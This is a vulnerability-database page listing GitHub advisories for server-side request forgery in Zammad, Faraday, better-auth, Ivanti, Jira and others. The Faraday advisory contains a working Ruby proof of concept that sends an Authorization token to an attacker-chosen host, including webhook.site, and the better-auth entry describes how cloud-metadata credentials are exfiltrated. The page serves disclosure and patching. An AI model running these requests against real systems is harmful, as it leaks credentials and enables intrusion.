Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4654 vulnerabilities reference this CWE, most recent first.

GHSA-5R44-73X5-FMPR

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16
VLAI
Details

An issue was discovered in Zammad before 4.1.1. SSRF can occur via GitHub or GitLab integration.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-42091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-07T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Zammad before 4.1.1. SSRF can occur via GitHub or GitLab integration.",
  "id": "GHSA-5r44-73x5-fmpr",
  "modified": "2022-05-24T19:16:51Z",
  "published": "2022-05-24T19:16:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42091"
    },
    {
      "type": "WEB",
      "url": "https://zammad.com/en/advisories/zaa-2021-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5R6Q-CG35-JR9Q

Vulnerability from github – Published: 2025-12-29 21:30 – Updated: 2025-12-30 18:30
VLAI
Details

A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the "file_get_contents" function within the "save.php" file.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-25181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-29T20:15:40Z",
    "severity": "CRITICAL"
  },
  "details": "A critical vulnerability has been identified in givanz VvvebJs 1.7.2, which allows both Server-Side Request Forgery (SSRF) and arbitrary file reading. The vulnerability stems from improper handling of user-supplied URLs in the \"file_get_contents\" function within the \"save.php\" file.",
  "id": "GHSA-5r6q-cg35-jr9q",
  "modified": "2025-12-30T18:30:16Z",
  "published": "2025-12-29T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25181"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/joaoviictorti/69cbae23d98fb9a1a4b3eee0c305c7de"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RM6-JPQ7-CQ95

Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 00:31
VLAI
Details

The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.3 via the save_ai_generated_image() function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T00:16:57Z",
    "severity": "HIGH"
  },
  "details": "The Gutenberg Essential Blocks \u2013 Page Builder for Gutenberg Blocks \u0026 Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.1.3 via the `save_ai_generated_image()` function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-5rm6-jpq7-cq95",
  "modified": "2026-06-05T00:31:52Z",
  "published": "2026-06-05T00:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10586"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.1.3/includes/Integrations/AI/AI.php#L171"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/08906577-162c-4875-b16c-18d4912c2611?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RQP-FX48-4MVW

Vulnerability from github – Published: 2022-07-27 00:00 – Updated: 2022-08-03 00:00
VLAI
Details

Affected versions of Atlassian Jira Service Management Server and Data Center allow authenticated remote attackers to access the content of internal network resources via a Server-Side Request Forgery (SSRF) vulnerability in the CSV importing feature of JSM Insight. When running in an environment like Amazon EC2, this flaw may be used to access to a metadata resource that provides access credentials and other potentially confidential information. The affected versions are before version 4.13.20, from version 4.14.0 before 4.20.8, and from version 4.21.0 before 4.22.2.

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-43959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-26T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of Atlassian Jira Service Management Server and Data Center allow authenticated remote attackers to access the content of internal network resources via a Server-Side Request Forgery (SSRF) vulnerability in the CSV importing feature of JSM Insight. When running in an environment like Amazon EC2, this flaw may be used to access to a metadata resource that provides access credentials and other potentially confidential information. The affected versions are before version 4.13.20, from version 4.14.0 before 4.20.8, and from version 4.21.0 before 4.22.2.",
  "id": "GHSA-5rqp-fx48-4mvw",
  "modified": "2022-08-03T00:00:58Z",
  "published": "2022-07-27T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43959"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JSDSERVER-11898"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RR4-8452-HF4V

Vulnerability from github – Published: 2026-07-07 20:56 – Updated: 2026-07-07 20:56
VLAI
Summary
@better-auth/sso provider registration has server-side request forgery via unvalidated OIDC endpoints
Details

Am I affected?

Users are affected if all of the following are true:

  • Their application uses @better-auth/sso at a version >= 0.1.0, < 1.6.11 on the stable line, or any 1.7.0-beta.x on the pre-release line.
  • The sso() plugin is added to their application's betterAuth({ plugins: [...] }) array.
  • Any user with a valid Better Auth session can reach POST /sso/register (the plugin's default gate accepts any session).

For the non-blind SSRF impact (full IAM credential or internal HTTP body exfiltration), no further configuration is required.

For the account takeover escalation, additionally:

  • Developers set sso({ trustEmailVerified: true, ... }).
  • The developer's application deployment has accounts whose email overlaps with attacker-chosen domains.

If developers do not enable the SSO plugin, their application is not affected.

Fix:

  1. Upgrade to @better-auth/sso@1.6.11 or later.
  2. If developers cannot upgrade, see workarounds below.

Summary

The @better-auth/sso plugin's POST /sso/register endpoint accepts attacker-controlled oidcConfig.userInfoEndpoint, tokenEndpoint, and jwksEndpoint URLs when skipDiscovery: true is set, persists them on the ssoProvider row without origin validation, then issues server-side fetches to those URLs during the OIDC callback. The fetched response body is reflected through the user profile, producing a non-blind SSRF reachable by any authenticated session. The same primitive exists on POST /sso/update-provider.

Details

The schema field types accept bare strings: no .url() validator, no origin gate. The discovery branch (skipDiscovery: false) routes URLs through validateDiscoveryUrl; the skip-discovery branch persists them as-is. At callback time three fetch sites read the stored URLs: validateAuthorizationCode for the token endpoint, betterFetch for the userInfo endpoint, and validateToken for the JWKS endpoint.

When trustEmailVerified: true is configured, the attacker can escalate to account linking. A malicious userInfo response with emailVerified: true and a chosen email triggers OAuth auto-link against any pre-existing user row with that email, compounding the SSRF into account takeover.

Patches

Fixed in @better-auth/sso@1.6.11. Provider registration (POST /sso/register with skipDiscovery: true) and every POST /sso/update-provider request now validate each supplied OIDC endpoint URL (authorizationEndpoint, tokenEndpoint, userInfoEndpoint, jwksEndpoint, discoveryEndpoint) at registration time. A URL is rejected unless it satisfies one of two conditions:

  1. Its host is publicly routable on the internet, evaluated through the @better-auth/core/utils/host.isPublicRoutableHost gate. RFC 1918 private ranges, RFC 4193 unique-local addresses, link-local addresses (including the cloud-metadata IP 169.254.169.254), loopback, multicast, broadcast, and reserved ranges are rejected, along with cloud-metadata FQDNs.
  2. Its origin is already listed in the application's trustedOrigins configuration. This preserves the documented escape hatch for customers running internal IdPs intentionally on private networks.

The schema also tightens from z.string() to z.url() on those fields, so malformed URLs fail at parse time rather than at fetch time. Deployments running internal IdPs that previously worked must add the IdP's origin to trustedOrigins to keep working after upgrade.

Workarounds

If developers cannot upgrade immediately:

  • Disable provider self-registration: set sso({ providersLimit: 0 }). The limit is enforced before the schema branch, blocking every /sso/register regardless of skipDiscovery.
  • Reverse-proxy gate: block POST /sso/register and POST /sso/update-provider at the edge, or restrict to a denylist of source IPs and a small admin user list.
  • Network-level egress controls: block egress from the auth server to RFC 1918, RFC 4193, link-local ranges (169.254.0.0/16, fe80::/10), and the cloud-metadata FQDN list at the firewall or VPC level. AWS users should additionally enforce IMDSv2 (HttpTokens: required).
  • Set trustEmailVerified: false until upgrade. This caps the impact at non-blind SSRF and removes the account-takeover escalation, but does not stop the SSRF.

Impact

  • Server-Side Request Forgery (non-blind): the attacker reads response bodies from any HTTP endpoint reachable from the auth server, including cloud metadata services (AWS IMDS, GCP metadata FQDN), internal-only APIs, and infrastructure services such as Redis or admin panels bound to localhost.
  • Account takeover (when trustEmailVerified: true): the attacker mints a malicious userInfo response asserting emailVerified: true for an arbitrary email, triggering OAuth auto-link against pre-existing user rows.

Credit

Reported by Vaadata.

Resources

Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@better-auth/sso"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-345",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:56:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `@better-auth/sso` at a version `\u003e= 0.1.0, \u003c 1.6.11` on the stable line, or any `1.7.0-beta.x` on the pre-release line.\n- The `sso()` plugin is added to their application\u0027s `betterAuth({ plugins: [...] })` array.\n- Any user with a valid Better Auth session can reach `POST /sso/register` (the plugin\u0027s default gate accepts any session).\n\nFor the non-blind SSRF impact (full IAM credential or internal HTTP body exfiltration), no further configuration is required.\n\nFor the account takeover escalation, additionally:\n\n- Developers set `sso({ trustEmailVerified: true, ... })`.\n- The developer\u0027s application deployment has accounts whose `email` overlaps with attacker-chosen domains.\n\nIf developers do not enable the SSO plugin, their application is not affected.\n\nFix:\n\n1. Upgrade to `@better-auth/sso@1.6.11` or later.\n2. If developers cannot upgrade, see workarounds below.\n\n### Summary\n\nThe `@better-auth/sso` plugin\u0027s `POST /sso/register` endpoint accepts attacker-controlled `oidcConfig.userInfoEndpoint`, `tokenEndpoint`, and `jwksEndpoint` URLs when `skipDiscovery: true` is set, persists them on the `ssoProvider` row without origin validation, then issues server-side fetches to those URLs during the OIDC callback. The fetched response body is reflected through the user profile, producing a non-blind SSRF reachable by any authenticated session. The same primitive exists on `POST /sso/update-provider`.\n\n### Details\n\nThe schema field types accept bare strings: no `.url()` validator, no origin gate. The discovery branch (`skipDiscovery: false`) routes URLs through `validateDiscoveryUrl`; the skip-discovery branch persists them as-is. At callback time three fetch sites read the stored URLs: `validateAuthorizationCode` for the token endpoint, `betterFetch` for the userInfo endpoint, and `validateToken` for the JWKS endpoint.\n\nWhen `trustEmailVerified: true` is configured, the attacker can escalate to account linking. A malicious userInfo response with `emailVerified: true` and a chosen `email` triggers OAuth auto-link against any pre-existing user row with that email, compounding the SSRF into account takeover.\n\n### Patches\n\nFixed in `@better-auth/sso@1.6.11`. Provider registration (`POST /sso/register` with `skipDiscovery: true`) and every `POST /sso/update-provider` request now validate each supplied OIDC endpoint URL (`authorizationEndpoint`, `tokenEndpoint`, `userInfoEndpoint`, `jwksEndpoint`, `discoveryEndpoint`) at registration time. A URL is rejected unless it satisfies one of two conditions:\n\n1. Its host is publicly routable on the internet, evaluated through the `@better-auth/core/utils/host.isPublicRoutableHost` gate. RFC 1918 private ranges, RFC 4193 unique-local addresses, link-local addresses (including the cloud-metadata IP `169.254.169.254`), loopback, multicast, broadcast, and reserved ranges are rejected, along with cloud-metadata FQDNs.\n2. Its origin is already listed in the application\u0027s `trustedOrigins` configuration. This preserves the documented escape hatch for customers running internal IdPs intentionally on private networks.\n\nThe schema also tightens from `z.string()` to `z.url()` on those fields, so malformed URLs fail at parse time rather than at fetch time. Deployments running internal IdPs that previously worked must add the IdP\u0027s origin to `trustedOrigins` to keep working after upgrade.\n\n### Workarounds\n\nIf developers cannot upgrade immediately:\n\n- **Disable provider self-registration**: set `sso({ providersLimit: 0 })`. The limit is enforced before the schema branch, blocking every `/sso/register` regardless of `skipDiscovery`.\n- **Reverse-proxy gate**: block `POST /sso/register` and `POST /sso/update-provider` at the edge, or restrict to a denylist of source IPs and a small admin user list.\n- **Network-level egress controls**: block egress from the auth server to RFC 1918, RFC 4193, link-local ranges (`169.254.0.0/16`, `fe80::/10`), and the cloud-metadata FQDN list at the firewall or VPC level. AWS users should additionally enforce IMDSv2 (`HttpTokens: required`).\n- **Set `trustEmailVerified: false`** until upgrade. This caps the impact at non-blind SSRF and removes the account-takeover escalation, but does not stop the SSRF.\n\n### Impact\n\n- **Server-Side Request Forgery (non-blind)**: the attacker reads response bodies from any HTTP endpoint reachable from the auth server, including cloud metadata services (AWS IMDS, GCP metadata FQDN), internal-only APIs, and infrastructure services such as Redis or admin panels bound to localhost.\n- **Account takeover** (when `trustEmailVerified: true`): the attacker mints a malicious userInfo response asserting `emailVerified: true` for an arbitrary email, triggering OAuth auto-link against pre-existing user rows.\n\n### Credit\n\nReported by Vaadata.\n\n### Resources\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)",
  "id": "GHSA-5rr4-8452-hf4v",
  "modified": "2026-07-07T20:56:19Z",
  "published": "2026-07-07T20:56:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-5rr4-8452-hf4v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@better-auth/sso provider registration has server-side request forgery via unvalidated OIDC endpoints"
}

GHSA-5RR9-MQHJ-7CR2

Vulnerability from github – Published: 2024-01-31 18:31 – Updated: 2025-10-22 00:32
VLAI
Details

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Severity
8.2 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-31T18:15:47Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.",
  "id": "GHSA-5rr9-mqhj-7cr2",
  "modified": "2025-10-22T00:32:59Z",
  "published": "2024-01-31T18:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21893"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21893"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5RV5-XJ5J-3484

Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12
VLAI
Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Details

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Severity
0.0 (None)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T14:51:51Z",
    "nvd_published_at": "2026-05-19T19:16:49Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n  - `lib/faraday/connection.rb`\n  - `lib/faraday/request.rb`\n  - `spec/faraday/connection_spec.rb`\n  - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n  - `Faraday::Connection#build_exclusive_url`\n  - `Faraday::Connection#run_request`\n  - `Faraday::Request#url`\n  - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n  - `Faraday 2.14.1`\n  - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n  \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n  url: \"http://trusted.example/base\",\n  headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n  - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n  - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
  "id": "GHSA-5rv5-xj5j-3484",
  "modified": "2026-06-05T14:12:03Z",
  "published": "2026-05-18T14:51:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}

GHSA-5V2J-W677-J4MP

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2024-01-30 22:26
VLAI
Summary
SSRF vulnerability due to missing permission check in Jenkins OctopusDeploy Plugin
Details

A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "hudson.plugins.octopusdeploy:octopusdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-1003027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T22:26:51Z",
    "nvd_published_at": "2019-02-20T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability exists in Jenkins OctopusDeploy Plugin 1.8.1 and earlier in OctopusDeployPlugin.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified URL and obtain the HTTP response code if successful, and exception error message otherwise.",
  "id": "GHSA-5v2j-w677-j4mp",
  "modified": "2024-01-30T22:26:51Z",
  "published": "2022-05-13T01:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003027"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-02-19/#SECURITY-817"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107295"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
